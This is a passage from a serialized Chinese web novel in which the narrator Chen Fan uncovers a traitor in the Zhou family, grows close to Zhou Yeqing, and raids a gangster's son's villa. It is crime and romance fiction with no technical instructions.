我沉默了几秒。
“会不会是圈套?故意让你知道,试探你的反应?”
“有可能。”她点头道:“但不能排除他真的想两头下注。”
我端起茶杯,喝了一口。
“你打算怎么办?”我问道。
她没有立刻回答,而是看着院子里那棵老槐树,沉默了很久。
“陈凡。”她终于开口,声音很轻,“你觉得司徒鸣这个人,可信吗?”
我想了想,说:“不可信,但他有利用价值。”
“什么价值?”
“他对司徒雄的恨是真的,不管他背后打什么算盘,至少这一点上,他和我们目标一致。”
周叶青点点头,又摇摇头。
“但仇恨会让人失去理智。如果他为了报仇,做出什么不可控的事……”
她没有说完,但意思很清楚。
“所以要先弄清楚他的真实意图。”我说。
“怎么弄清楚?”
我看着她。
“我去见他。”
她愣了一下,然后眉头皱起。
“太危险了。他如果真和龙三爷有联系,你去见他,等于自投罗网。”
“因为有些事,必须有人去做。”我一副无所谓的样子道:“既然选择了这行,就得将生死置之度外。”
她愣了一下,然后移开视线,看向别处。
“周叶青。”我开口。
她没回头,只是“嗯”了一声。
“上午的事……”
“别提了,就当没发生过。”
“好。”我说。
“司徒鸣那边,我会继续盯着,你有消息,随时通知我。”
“那我先走了。”我说。
她点点头。
我转身向门口走去。
“陈凡,小心点。”
我顿了顿,然后继续向前走。
我开车回别墅,一路上脑海里翻涌着各种念头,我需要理清楚。
司徒鸣想报仇,是真的。但他同时也在接触龙三爷的人,这就有两种可能:一是他想探听虚实,二是他想倒戈。如果是前者,他还有利用价值;如果是后者,那他就是一个定时**。
周叶青的立场很明确,保周家,保清迈港的利益。她对司徒鸣的不信任是正常的,但她对我也并非完全放心。上午那一吻之后,我们之间的关系变得更加微妙。她说“就当没发生过”,但她真的能当没发生过吗?
车子驶进别墅区,停在那栋白色别墅门口。
屋里亮着温暖的灯光。透过落地窗,能看到柳媚笙和兰馨坐在客厅里,母女俩挨得很近,正在看电视。兰馨手里还在织那件红色的毛衣,已经织了一大半。
我推门进去。
柳媚笙立刻转过头,看到
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是我,脸上浮起笑容。
“回来了?饿不饿?我给你热饭。”
她站起身,向我走来。
那一瞬间,我忽然伸手,把她揽进怀里。
她愣了一下,然后也抱住我,脸埋在我胸口。
“怎么了?”她轻声问。
我没有说话,只是把她抱得更紧。
她也不问了,就那么静静地让我抱着。
客厅里,兰馨看了我们一眼,嘴角浮起一个温柔的笑容,然后继续低头织毛衣。
电视里放着什么节目,有笑声传出来,很热闹。
但这一刻,我只听到她的心跳。
晚上,柳媚笙睡下后,我一个人走到院子里。
秋夜的天空繁星点点,远处的城市灯火通明。风吹过来,带着凉意,也带着桂花香。
手机响了。
是一个陌生号码。
我接通,没有说话。
电话那头传来一个低沉的男声,带着缅甸口音的汉语:
“陈先生,久仰大名。”
我眼神一凛。
“你是谁?”
“我?”对方轻轻笑了,“我叫龙威,我们见过的,在芭提雅那个晚上。”
龙威。
龙三爷的儿子。
我的手不自觉地握紧了手机。
“有什么事?”
“没什么大事。”龙威的声音冷冷道:“就是想告诉你,司徒鸣那边,我们已经谈妥了。”
我心中一沉。
“什么意思?”
“意思就是,司徒鸣已经答应和我们合作了。”龙威笑了笑道:“陈先生,你说巧不巧?你们都想对付我们,可你们自己却先打起来了。”
我没有说话。
他等了几秒,又说:“对了,还有一件事,周家那位大小姐,长得可真漂亮,我爹说,如果能把她娶进门,金三角和周家的生意,就再也不用打了。”
我的拳头握得嘎嘣响。
“你想干什么?”
“不想干什么。”龙威的声音轻飘飘的,“就是提前打个招呼,陈先生,你是个聪明人,应该知道怎么选。跟我们合作,保你荣华富贵。跟我们作对……”
他顿了顿。
“你身边那些人,柳媚笙、她妈、周叶青……可都得小心点。”
电话挂断了。
龙威的这通电话,就是在逼我。
他知道我和司徒鸣有联系,知道周叶青在背后支持我,所以他要提前打乱我们的阵脚。
司徒鸣如果真的倒向了他们,那我们就腹背受敌。
龙三爷那种人,为了达到目的,什么都干得出来。
我深吸一口气,拨通了周叶青的电话。
她很快接起,声音清醒得像根本没睡。
“陈凡?”
“龙威刚才给我打电话了。”
电话那头沉默了一秒。
“说什么?”
我把龙威的话复述了一遍。
周叶青听完,沉默了很久。
“司徒鸣那边,我的人还在查。”她终于开口,声音冷静得可怕,“但如果龙威说的是真的……”
“那就麻烦了。”我替她说完。
她又沉默了。
“陈凡。”她忽然叫我的名字。
“嗯。”
“你信我吗?”
我愣了一下。
“什么意思?”
电话那头,周叶青轻轻笑了,那笑声里有苦涩,有释然。
“算了,我不该问的。”她轻声说,“就这样吧。司徒鸣那边,我会继续查,你保护好自己。”
电话挂断了。
随后,我收到了一个消息,还是周叶青发过来的。
“明天见,我有重要的事情要和你说。”
“好。”我回复了一个字。
277周叶青,做我的女人(上)
第二天,下午,我来见周叶青。
今天的她穿了一身黑色的套装,她的长发高高的束起,露出一张精致绝美的脸庞,她手里拿着平板电脑,看到我后,点了点头。
“陈凡,跟我来。”她说道。
她带我来到一个房间,陈设简单,只有一张桌子和几把椅子,但墙上挂着一块巨大的显示屏,屏幕上分成了好几个画面,监控摄像头的画面。
画面呈现好几种,有街道的,有建筑的,有码头的,还有一个画面里,是几个正在喝茶的人。
“司徒鸣。”周叶青指着屏幕上的一个人,声音冷静,“这是今天上午拍的,他在和谁见面,你看清楚。”
我凑近屏幕。
画面里,司徒鸣坐在一个茶室的包间里,对面坐着两个人,一个是典型的缅甸人打扮,皮肤黝黑,另一个人,竟然是龙威!
“他真投靠龙三爷了。”我说。
周叶青点点头,表情凝重。
“不止如此。”她调出另一段视频,道:“这是昨天拍的,司徒鸣和龙威见面之后,又见了这个人。”
画面里是一个中年男人,穿着西装,戴着眼镜,一副斯文模样。
“这是谁?”
“周家的人。”周叶青的声音冷冷道:“我的一个堂叔,周永年。”
我看向她。
“内鬼?”我问道。
她点点头。
房间里安静了几秒。
“他想干什么?”我问。
周叶青在椅子上坐下,看着屏幕道:“他想取而代之。”
她顿了顿,继续说:“周家这些年,一直是老爷子和我做主,有些人不服,觉得我一个女人不该掌权。周永年就是其中之一。他表面上对我恭恭敬敬,背地里一直在拉拢人脉,找机会上位。”
“现在他找到机会了。”
“对。”周叶青点头道:“司徒鸣搭上龙三爷,周永年搭上司徒鸣,他们想里应外合,把周家这块蛋糕分了。”
我看着屏幕上的那些人,脑海里快速推演着各种可能性。
“老爷子知道吗?”
“知道。”周叶青说,“但老爷子现在……”
她顿住了,没有说下去。
我看着她。
“老爷子怎么了?”
她沉默了几秒,然后抬起头看着我,那双眼睛里,第一次出现了一丝脆弱。
“老爷子病了。”
我心里一沉,急忙问道:“什么病?”
“心脏的问题,老毛病了,但这次来势汹汹,医生说要静养,不能受刺激。”她顿了顿,“所以这件事,不能让他知道。”
我看着她的眼睛,关心道:“所以你一个人扛?”
她愣了一下,然后笑了,那笑容里有苦涩,也有倔强。
“不然呢?周家还有谁可以扛?”
我沉默了几秒。
“还有我。”
她看着我,眼神里有一瞬间的动容,但很快又恢复了平静。
“陈凡,这件事和你无关,你没必要卷进来。”
“已经卷进来了。”我说,“龙三爷要杀柳媚笙,司徒鸣想利用我,周永年要对付你,你觉得我能抽身?”
她看着我,没有说话。
我走过去,在她对面坐下。
“说吧,你打算怎么办?”
她看了我一会儿,然后打开平板,调出一份文件。
“这是周永年这些年的账目,表面上看起来没问题,但我查到了几笔可疑的资金往来,如果能拿到证据,就能把他踢出周家。”
“证据在哪?”
“在他家里。”周叶青说道:“他有个习惯,重要的东西都藏在自己书房的保险柜里,我需要人进去,把那些东西拿出来。”
“我去。”
她摇头。
“不行,太危险了。周永年家里守卫森严,而且他是认识你的,你进去,等于自投罗网。”
“那你想让谁去?”
她看着我,眼神里有犹豫,也有挣扎。
“我本来想自己去的。”
我眉头一皱,道:“不行。”
她愣了一下,然后微微笑了。
“怎么,你也学会关心人了?”
我没有理会她的调侃。
“你是周家的主心骨,你出事,周家就完了。”
她沉默了几秒,然后轻轻叹了口气。
“我知道,但我没有别的人选,周永年身边,我的人都被盯死了,外人进不去。只有……”
她停住了。
“只有我。”我替她说完。
她点点头。
“所以,还是得我去。”
她看着我,眼神里有担忧,也有感激。
“陈凡,你……”
“别说了。”我站起身道:“把周永年家的布局图给我,还有守卫情况,今晚我去。”
她也站起身,走到我面前。
我们离得很近,近到能看清她眼里的血丝,她肯定是没睡好觉。
“陈凡。”她轻声说,“谢谢你。”
我看着她。
“等办成了再谢。”
她笑了,那笑容里有一丝放松。
“好。”
晚上十点,周永年家的别墅。
我按照周叶青给的布局图,从别墅后面的树林潜入。守卫确实严密,但比清迈港差远了。绕过三组巡逻,翻过两道围墙,我顺利摸到了书房窗外。
书房在三楼,窗户开着一条缝,我侧身钻进去,落地无声。
这个房间很大,装修得古色古香,我看见了保险柜,周叶青说,周永年的密码是他儿子的生日,我试了试,柜门开了。
保险柜里面的东西不多,几个账本,几份合同,还有一个U盘,我把U盘插进随身带的微型设备,复制了里面的内容,然后把东西原样放回。
整个过程不到十分钟。
我正要离开,外面忽然传来动静,有人来了!
我立刻躲进了窗帘后面。
门被开了,灯亮了。
周永年的声音传来,带着几分醉意道:“你放心,周叶青那小丫头翻不了天,等我和司徒先生的事办成,周家就是我们的。”
另一个声音响起,带着缅甸口音:“周先生,龙三爷让我转告你,只要清迈港的事办妥,金三角那条线,以后都是你的。”
我心想:周永年胆子真的大,竟然敢把龙三爷的人带回家!
我保持按兵不动,我不想打草惊蛇。
他们说了几句,周永年送那人出去,脚步声远去,灯关了,门关上。
我又等了五分钟,然后从窗户翻出,顺着原路返回。
回到车里,我拿出那个复制的U盘,给周叶青发了条信息:得手了。
她很快回复:“我在家等你!”
我发动车子,去找周叶青。
半小时后,我把U盘交给周叶青。
她接过U盘,插进电脑,快速浏览着里面的内容,她越看,脸色越凝重。
“这些证据足够了。”她抬起头看着我,“谢谢你,陈凡。”
“接下来打算怎么办?”
她沉默了几秒。
“先把周永年清理出去。然后……”
她看着我说道:“然后对付司徒鸣和龙三爷。”
“需要我做什么?”我问。
她站起身,走到我面前。
“陈凡,这次的事,我一个人扛不住了。”她轻声说,“我需要你帮我。”
我看着她的眼睛。
“怎么帮?”
“我想让你正式加入周家。”她说,“不是外人,是……自己人。”
我眉头微皱。
“什么意思?”
她看着我,眼神里有复杂的情绪,有期待,有担忧,还有一丝我看不懂的东西。
“意思是……”她顿了顿道:“我想让你做周家的女婿。”
房间里安静下来。
我看着她的眼睛,确认她不是在开玩笑。
“周叶青,你知道我有很多女人……”我尴尬的一笑道。
我不知道周叶青为什么会对我的变化这么大,是因为我昨天亲了她的缘故?能做周家的女婿,那可是所有男人的梦想,不看家世,只看周叶青的容貌,爱慕她的男人就数不胜数。
我也爱慕周叶青,只不过,我藏的很深,现在不藏了而已。
“我知道。”她点头道:“所以这不是条件,是……请求。”
她转过身,走到窗边,背对着我。
“老爷子身体不好,不知道还能撑多久,周家需要一个能扛事的人,我一个人太累了。”
她的声音很轻,带着一丝疲惫,还有一丝从未在人前流露过的脆弱。
“我找过很多人,但没有一个能让我放心,直到遇见你。”
她转过身,看着我。
“陈凡,我只要求你……在我需要的时候,站在我身边。”
我看着她,在她的眼睛里,我看了一种孤注一掷的决绝。
这个骄傲的周家大小姐,第一次在一个人面前,放下所有的面具。
“你想好了?”我问。
她点点头。
“想好了。”
我沉默了几秒。
“周叶青,这件事,我不能现在答应你。”
她的眼神黯淡了一下,但很快又恢复了平静。
“为什么?”
“夏颜怀上了我的孩子,秦悦和我有婚约,我……”我对周叶青说道:“我可给不了你什么,能给你的,只有我这条命了。”
周叶青愣了一下,那个冰山美人,她的眼眸忽然闪动了一下,然后她转过身,背对着我。
“你把最珍贵的生命都给我了,这不就是最好的承诺么?”
周叶青的话让我愣住了,这个天之骄女,真正上城的大佬,竟然甘心做我的女人?
“没有婚姻,没有结婚证,什么都没有……”
“我也不需要那些,我周叶青的男人,必须是顶天立地的。”
她转过身子,这次看我的时候,没有了往日的疏离,多了几分女人的温情。
我知道,她这是接受我了。
于是我向她走过去,她见我走近,她笑着看我。
她的眼眸好看至极犹如一池春水。
“我的吻技,好么?”我笑着问。
“嗯?”
周叶青忽然像是明白了什么一样,脸上一红。
“要在体验一下吗?”
“嗯……”
犹豫了一下,周叶青还是嗯了一声。
我根本不给她犹豫的时间,我直接亲在了她的唇上,她的身子明显颤动了一下。
我的吻热烈而真诚,在我的亲吻下,周叶青也动情了,她主动的伸手,搂着我的腰,然后热烈的回应我。
许久,我们喘不过气,我才松开她。
“初吻给我了?”我问。
“陈凡,你来。”周叶青轻轻勾了一下我的手指。
“还有额外奖励?”
我笑着伸手就要去搂着周叶青,结果周叶青抓着我的胳膊,以迅雷不及掩耳盗铃之势,一个过肩摔,将我摔在了地上。
我躺在地上,看着她,她哈哈大笑,笑的开心至极。
“你在报复我?”我尴尬道。
“给你一个记性,谁让你占便宜没够。”周叶青蹲下身,然后伸出手,想要将我拉起来,她道:“没想到,我伸手还不错把,白起教我的,所以陈凡,你以后可别想欺负我……”
她的话还没有说完,我直接将她拽进了我的怀里。
啊!
她惊呼了一声,然后整个人就趴在了我身上。
我就躺在地上,紧紧的搂着周叶青。
“放开我……”周叶青说道。
“不放……谁让你欺负我……”
“欺负我,你陈凡大色狼,还能被我欺负?”
“我有那么色么?”我笑着问。
“你觉得呢?你要是不色,会亲我?”周叶青道。
“那是你太美了,我把持不住。”我说着情话。
“叶青……”我轻声的在她耳边低语。
“嗯?”
我的一句叶青,让她瞬间软了下来。
“我第一眼看见你,就喜欢你了。”我认认真真的说道。
“是么?我可没看出来,你那时候嘴可挺硬的。”
“不硬没办法,男人就得硬气,底子没打好的话,你这辈子都会看不起我。”我说道。
“我可不敢看不起你,你别冤枉我啊!”
我不说话,就是紧紧的抱着她,感受她的身体,贴在我的胸膛上。
周家大小姐,我的目标,终于完成了,剩下的,就是将她变成我的女人。
“今晚,我不走了。”我在她耳边说道。
“不行,我可不会轻易和你睡觉。”周叶青干脆的拒绝我。
然后她轻轻的将我推开,站起身,她又恢复了那个高冷的世家小姐形象。
都说好女怕缠郎,我当然明白周叶青的想法,我和她刚关系进一步,我也没有妄想马上得到她的身体。
我走近他,忽然拉住了她的手,道:“没想要得到你的身子,只是想陪陪你,你看你的黑眼圈,已经好几宿没睡好了吧……”
278周叶青,做我的女人(下)!
从周叶青那里回来后,我陪柳媚笙吃了午饭,又和兰馨聊了一会儿天,下午的时候,柳媚笙说想去市里逛逛,给母亲买些换季的衣服。我让周明开车送她们去,自己留在别墅里。
不是因为累,而是因为周叶青发来的一条信息:晚上有空吗?有些话,想当面跟你说。
我盯着那条信息看了很久。
上午她才说过那些话,晚上又要见面,以她的性格,如果不是特别重要的事,不会这样。
我回了一个字:好。
晚上八点,我再次去到她家。
周叶青坐在沙发上,她已经换了一身家常的衣服。
听到脚步声,她转过头,对我笑了笑。
“来了?坐。”
我在她对面坐下。她给我倒了一杯酒,推过来。
“尝尝,老爷子珍藏的茅台,平时舍不得喝,今天破例。”
我端起杯子抿了一口,酒很烈,入喉像一道火线。
她自己也喝了一口,然后放下杯子,看着天上的月亮。
“周叶青。”我开口。
“嗯?”
“你找我来,想说什么?”
她沉默了几秒,然后转过头看着我。
“陈凡,你说,我是不是很失败?”
我眉头微皱。
“为什么这么说?”
她轻轻笑了,那笑容里有自嘲。
“周家大小姐,听着多风光,可实际上呢?三十多岁了,连个敢真心喜欢我的人都没有,那些凑上来的,不是图周家的钱,就是图周家的势,真正的我,他们一个都不想要。”
我没有说话,只是看着她。
她又给自己倒了一杯酒,一口喝干。
“有一个姓潘的,上京潘家,听说过吗?”
我点点头,上京潘家,顶级世家,比周家势力更大,在全国都排得上号。
“潘家老三,叫潘奕辰,比我小两岁。”她晃着酒杯,眼神有些迷离,道:“三年前在一个酒会上认识的,从那以后,他就开始追我。”
“追得轰轰烈烈?”我打趣的问道。
“对。”她笑了,那笑容里有一丝无奈,“送花是999朵玫瑰,送礼物是限量版的包包首饰,请吃饭是米其林三星包场。全上京的人都知道,潘家三少爷在追周家大小姐。”
我端起酒杯,喝了一口,这男人,确实排场够大的,今天周叶青不会平白无故的给我讲她的事情,她是用话点我呢?
“你不喜欢他?”我问道。
她摇摇头,道:“不喜欢。”
“为什么?”
她看着我,眼神里有一丝复杂的情绪。
“因为他太完美了。”
我愣了一下。
“太完美也是问题?”
“你不懂。”她轻轻叹了口气,道:“他那种人,从小被捧着长大的,要什么有什么,他追我,不是因为真的喜欢我,是因为我是唯一一个拒绝他的人。”
她顿了顿,接着说道:“对他来说,我只是一件没到手的玩具。”
我沉默了几秒,问到:“那你拒绝他,他什么反应?”
“表面上很大度。”她说道:“笑着说没关系,做不成情侣可以做朋友,但背地里……”
她停住了,端起酒杯又喝了一口。
“背地里怎么了?”我追问道。
她看着我,眼神里有冷意。
“背地里,他让人查我的行踪,查我和谁来往,我谈过的几个项目,都莫名其妙地黄了,我手下的人,有两个被挖走了,还有一次,我在路上差点出车祸,刹车被人动过手脚。”
我的眼神冷了下来,这个潘三公子,确实手段下作了。
“是他做的?”
“没有证据。”她摇头,“但我知道是他。”
“那你为什么不告诉老爷子?”
“告诉有什么用?”她苦笑,“潘家比周家大,硬碰硬,吃亏的是我们,老爷子年纪大了,我不想让他操心。”
我看着她的眼睛,一脸认真的问道:“周叶青。”
“嗯?”
“你怕吗?”
她愣了一下,然后笑了,那笑容里有苦涩,有倔强。
“怕?当然怕。我一个女人,没有兄弟,没有靠山,只有一个病重的老爹和一群虎视眈眈的亲戚。外面有潘家那样的豺狼,里面有周永年那样的内鬼,我每走一步,都像走在刀尖上。”
她的声音微微颤抖。
“可我怕又能怎样?怕就能解决问题吗?怕潘奕辰就能放过我吗?”
我放下酒杯,站起身,走到她面前。
她抬起头看着我,眼睛里有什么东西在闪。
我伸出手。
她愣了一下,然后缓缓伸出手,握住我的。
我把她拉起来,她没有站稳,踉跄了一下,撞进我怀里。
她没有挣扎,也没有说话,就那么靠在我胸口,一动不动。
“陈凡。”她忽然轻声叫我。
“嗯。”
“你说,如果我不是周家大小姐,会有人真心喜欢我吗?”
我低头看着她。
“会。”
她抬起头,看着我的眼睛。
“那你呢?你会吗?”
我没有回答。
她等了几秒,然后轻轻笑了,那笑容里有失望,也有释然。
“算了,我不该问的。”
她想从我怀里挣脱,但我收紧了手臂。
她愣住了,抬起头看着我。
“周叶青。”我说,“有些问题,没有答案,但有些事,不需要答案。”
她就那样的看着我,眼神坚定。
我什么都没说,只是把她抱得更紧。
她就那么靠在我怀里,无声地流泪,肩膀轻轻颤抖。
不知过了多久,她的哭声渐渐平息,她从我怀里抬起头,眼睛红肿,鼻尖也红红的,看起来狼狈极了。
“对不起。”她哑着嗓子说,“我失态了。”
我没有说话,只是用拇指擦掉她脸上的泪痕。
她愣了一下,然后微微笑了,那笑容里有不好意思,也有一种轻松。
“陈凡,你知道吗?你是第一个看到我哭的人。”
“是吗?”
“嗯。”她点头,“从小到大,我都不许自己哭。妈妈说,周家大小姐不能哭,哭了会被人看轻。所以我一直忍着,不管多难受都忍着。”
她顿了顿,看着我。
“但刚才,不知道为什么,在你怀里,我忍不住了。”
我看着她的眼睛。
“那就不要忍。”
她愣了一下,然后笑了,那笑容比刚才更灿烂,也更真实。
“好。”
“陈凡。”她又开口。
“嗯。”
“你还没回答我,怕不怕潘家报复?”
我想了想。
“不怕。”
她抬起头看着我。
“为什么?”
“因为……”我低头看着她,“我是从死人堆里爬出来的,死都不怕,还怕一个纨绔子弟?”
她看着我,眼神里有复杂的情绪。
“可你不只是一个人。你还有柳媚笙,还有她妈妈。潘奕辰那种人,什么事都干得出来。”
我沉默了几秒。
“那就让他来。”
她愣了一下。
“陈凡……”
“周叶青。”我打断她,“从现在开始,你的事,就是我的事。潘家也好,龙三爷也好,谁想动你,先问过我。”
她看着我,眼眶又红了。
“你……”
“别哭。”我说,“哭多了不好看。”
她愣了一下,然后破涕为笑,在我胸口轻轻捶了一下。
“你这个人,真是……”
她没有说完,但我知道她想说什么。
真是霸道。
真是狂妄。
真是……让人没办法不喜欢。
我们就那么抱着,谁也没有再说话。
有些话,已经不需要说了。
不知过了多久,她轻轻从我怀里退出来。
“太晚了,你该回去了。”
我点点头。
“陈凡。”
我回头。
月光下,她站在那里,长发披肩,眼睛亮亮的,嘴角带着一丝浅浅的笑。
“谢谢你。”
我看着她。
“晚安。”
转身,走进夜色。
身后,她站在那里,一直看着我,直到我的身影消失。
回到别墅时,已经是凌晨两点。
屋里还亮着一盏小灯,柳媚笙靠在沙发上睡着了,手里还握着那串红珊瑚项链。
我走过去,轻轻把她抱起来。她迷迷糊糊地睁开眼,看到是我,又闭上了,嘴里嘟囔了一句:
“回来了……”
我把她抱上楼,放进被窝里,她翻了个身,抱着枕头,很快又睡熟了。
我在床边坐了一会儿,看着她安静的睡颜。
凌晨三点,我坐在书房的黑暗中,看着窗外逐渐西沉的月亮。
龙威的那通电话还在耳边回响。
“周家那位大小姐,长得可真漂亮。我爹说,如果能把她娶进门……”
这不是威胁,是宣战。
我拿出手机,拨通了周明的电话。
他很快接起,道:“凡哥?”
“龙威在哪儿?”
电话那头沉默了一秒。
“我查一下,给我半小时。”
“好。”
挂断电话,我靠在椅背上,闭上眼睛。
我脑海里开始快速推演,龙威既然敢打那通电话,说明他有恃无恐,要么是觉得我拿他没办法,要么是背后有更大的计划,不管是哪种,他都低估了我。
凌晨三点三十五分,手机震动。
周明的信息:查到龙威的落脚点,他在城西有一处别墅,是龙三爷早年置办的产业,平时有十几个人守着,今天他刚从那边回来,现在应该在里面。
后面是一个定位。
我盯着那个定位,嘴角微微弯起。
龙威,你既然敢来上城,就别想全须全尾地回去。
凌晨四点,我换上一身黑色作战服,把需要的装备检查完毕,手枪、消音器、匕首、夜视仪、攀爬装备,每一样都放在最顺手的位置。
走出房间时,柳媚笙站在走廊里。
她穿着睡袍,长发披散,脸色有些苍白,但眼神很镇定。
“你要出去?”
我点点头。
她走过来,帮我整理了一下衣领。动作很轻,很慢。
“小心点。”
“嗯。”
她抬起头看着我,眼眶有些红,但没有流泪。
“我等你回来。”
我伸手,把她揽进怀里,用力抱了一下。然后松开,转身下楼……
279不一样的兄妹情!
凌晨四点四十分,我到达城西那栋别墅附近。
周明他已经在等我了,他这次带来了三个周家秘卫的精锐,他们都是跟着我去过清迈的老人,信得过,也能打。
“里面情况怎么样?”我蹲在灌木丛后,用夜视仪观察别墅。
“陈总,别墅里面有守卫十二个,分成三组轮换。”周明压低声音说道:“龙威在主楼二楼的卧室,窗户朝东,他的贴身保镖有四个,两个守在楼下,两个守在门口。”
“监控呢?”我问。
“全覆盖,但有一个死角是在东墙那边有一棵老槐树下,我们可以从那里进去,能够避开大部分探头。”
我点点头,继续观察,这个别墅不大,龙威能在上城安插这么多人,说明龙三爷在这边的势力比我们想象的要深。
“凡哥,我们怎么打?”一个秘卫问。
我想了几秒。
“周明带两个人从正面佯攻,吸引火力,我从东墙那棵树进去,直取龙威,得手后,立刻撤退。”
“陈总,这样做太危险了。”周明皱眉道:“你自己进去,万一遇到危险怎么办。”
“没有万一。”我打断他道:“照我说的做。”
他看着我,最后点了点头。
五点整,行动开始。
周明带着两个人从正面靠近别墅,他们刚接近大门,警报就响了,枪声瞬间炸开,激烈的枪声此起彼伏,好在这里是在郊区,不然早就有人报警了。
我趁着混乱,迅速摸到东墙下,那棵老槐树比我想象的粗壮,枝干一直延伸到二楼窗户旁边,我深吸一口气,开始攀爬。
这颗老槐树树皮粗糙,磨得我手掌生疼,但我顾不上这些,楼下的枪声越来越密集,那是周明他们在拼命吸引火力,我必须要快。
我爬到树枝尽头,距离窗户还有两米,窗户是关着的,里面有灯光透出来,我深吸一口气,纵身一跃,双手抓住窗沿,身体悬在半空。
窗户里面有人影晃动,是龙威的贴身保镖。
我没有犹豫,单手拔出腰间的匕首,用刀尖撬开窗户的缝隙,然后猛地拉开,翻身跳了进去。
保镖的反应很快,但我的动作更快,匕首划过空气,准确地刺进他的喉咙,他瞪大眼睛,捂着脖子倒下去,血溅了一地。
另一个保镖从卫生间冲出来,手里的枪还没来得及抬起,我已经近身,一拳打在他喉结上,他双眼一翻,软倒在地。
卧室的门突然被推开,龙威站在门口,穿着睡衣,手里拿着一把枪。
看到我,他愣了一下,然后立刻举枪。
但他的速度没有我快,我一个箭步冲过去,在他扣动扳机之前,一拳打在他手腕上,枪飞出去,掉在地上,紧接着,我的膝盖撞进他的腹部,他闷哼一声,弓下腰。
我抓住他的头发,把他的脸抬起来。
“龙威,我们又见面了。”我说。
龙威的眼里闪过恐惧,但更多的是凶狠和不服。
“陈凡,你敢动我?我爸不会放过你的。”
“你爸?”我笑了道:“你爸在缅甸,远水解不了近渴。”
我松开他的头发,转而掐住他的脖子,把他按在墙上。
“昨天那通电话,威胁我很爽?”
他的脸憋得通红,但还是挤出一个难看的笑容。
“陈凡,你以为抓了我就能威胁我爸?你太天真了,我爸那种人,女人可以换,儿子也可以再生,他不会为了我让步的。”
我看着他的眼睛,那里面有恐惧,但也有一种亡命之徒的疯狂。
“我不需要他让步。”我说道:“我只需要你闭嘴。”
他愣住了。
我的手慢慢收紧,他的脸越来越红,眼睛开始翻白。
但就在他快要窒息的时候,我松开了手。
他滑到地上,剧烈地咳嗽着,大口大口地喘气。
“知道为什么留你一命吗?”我蹲下来,看着他。
他抬起头,眼神里满是恐惧和不解。
“因为你还有用。”我说道:“替我转告你爸,上城不是金三角,他的手,伸得太长了。”
我站起身,向门口走去。
“还有。”我在门口停下,没有回头,“周叶青的事,你们想都别想,谁敢动她,我先杀谁。”
身后,龙威的咳嗽声断断续续。
我推开门,走了出去。
楼下,枪声已经停了,周明带着人冲进来,看到我,明显松了口气。
“凡哥,你没事吧?”
“没事。撤退。”
我们迅速撤出别墅,消失在黎明前的黑暗中。
回到安全屋时,天已经蒙蒙亮了。
柳媚笙还站在走廊里,还是我离开时的姿势,看到我,她愣了一下,然后快步走过来,扑进我怀里。
“你回来了……你终于回来了……”
她浑身颤抖,声音哽咽。
我抱着她,没有说话。
过了好一会儿,她才平静下来。她从我怀里抬起头,看着我,眼眶红红的,但眼神里有光。
“受伤了吗?”
“没有。”
她点点头,又靠回我怀里。
“陈凡。”
“嗯。”
“下次带我一起去。”
我低头看着她。
“你知道我不会答应的。”
她抬起头,看着我的眼睛。
“我知道。但我还是要说。”她顿了顿,“因为我不想一个人站在这里等,那种滋味,太难受了。”
我看着她,她的眼睛里有泪光,也有倔强。
“好。”我说,“下次带你。”
她愣了一下,然后笑了。那笑容里有惊喜,也有不信。
“骗人。”
“不骗你。”
她看着我,看了好几秒,然后轻轻在我唇上印了一下。
“信你。”
中午的时候,周叶青来了。
她穿着一身干练的套装,长发高高束起,脸上带着精致的妆容,但眼神里有一丝藏不住的疲惫和担忧。
看到我完好无损地坐在客厅里,她明显松了口气,但很快就恢复了那副冷静淡然的样子。
“听说你昨晚去做大事了。”她在我对面坐下,语气轻松得好像在聊今天的天气。
“小事。”我说道。
“小事?”她挑眉,“把龙威打得半死,在他耳边撂狠话,这叫小事?”
我看着她。
“你消息倒是灵通。”
她笑了,那笑容里有得意,也有感激。
“那是,周家这点本事还是有的。”
她顿了顿,正色道:“陈凡,谢谢你。”
“谢什么?”
“谢你……”她想了想,“谢你替我出头。”
我看着她的眼睛。
“我说过,你的事就是我的事。”
她愣了一下,然后移开视线,看向窗外。
“那个……”她清了清嗓子,“龙威那边,接下来怎么办?”
“等。”
“等什么?”
“等龙三爷的反应。”我说,“他儿子被打了,他不会善罢甘休的,但只要他动,就会有破绽。”
周叶青点点头,若有所思。
“司徒鸣那边呢?”
“继续盯着。”我说道:“他现在是我们最大的变数,如果他真的倒向龙三爷,那就别怪我不客气。”
周叶青看着我,眼神里有复杂的情绪。
“陈凡,你这种人够狠够冷静,你很适合在这个圈子里生存。”
我看着她,问道:“什么意思?”
“就是说,你永远知道自己该做什么不该做什么。”周叶青平静道。
“那你呢?你知道自己要什么吗?”
她愣了一下,然后轻轻笑了。
“以前不知道,但现在……”她看着我,“现在好像有点知道了。”
她没有说下去,我也没有问。
有些话,不需要说得太明白。
送走周叶青后,我回到客厅。
柳媚笙坐在沙发上,手里还拿着那串红珊瑚项链。看到我进来,她抬起头,微微一笑。
“周小姐走了?”
“嗯。”
她拍了拍身边的位置,示意我坐下。
我走过去,在她身边坐下。
她靠在我肩上,轻声说:“陈凡,周小姐喜欢你。”
我没有说话。
她继续说:“我看得出来,她看你的眼神,和看别人不一样。”
我微微一笑,不在多言,我有那么多的女人,柳媚笙都已经默许了,也不在乎多一个了。
“柳媚笙。”我轻轻喊着她的名字。
她抬起头,看着我。
“你听清楚,我爱你,很爱很爱,不管我遇到什么样的女人,都改变不了这点。”
她看着我,眼眶慢慢红了。
“陈凡……”
“别哭。”我说,“哭了不好看。”
她愣了一下,然后笑了,那笑容里有泪,也有光。
“你这个人,真是……”
她没有说完,只是把头埋进我怀里,把我抱得紧紧的。
下午的时候,周明给我打来了电话。
“陈总。”周明说到:“龙威走了。”
“什么时候?”我问道。
“刚刚走的,是被龙三爷的人给接走的。”周明说到。
“知道要去哪里么?”我问。
“不知道。”
“那就先盯紧他,不要让龙威出国,要把他控制在国内。”我说道。
“好。”
我挂上电话,沉思了一下,龙三爷这么快就要接走龙威,他是害怕我对自己的儿子下手,那就说明,龙三爷快要行动了。
只不过,现在龙三爷不在国内,我控制不了他。
我单枪匹马的去见龙威,也可不能将他绑走。
那现在唯一的办法,就是司徒鸣,如果能让他放弃和龙威的联手,事情还有转机。
我想到这里,马上就开车去找周叶青,现在我遇到的这些事情,只能和她说。
我从清迈回来,一直没有去看夏颜,不是不想她,是现在时机还未到。
我到了周叶青的别墅,敲门。
“陈凡,你怎么来了?”她问。
“想你了,来见你。”
“谢谢,我还差点就信了。”
周叶青半开玩笑给我打开门,我直接说道:“约司徒鸣见面吧,直接给他谈判!”
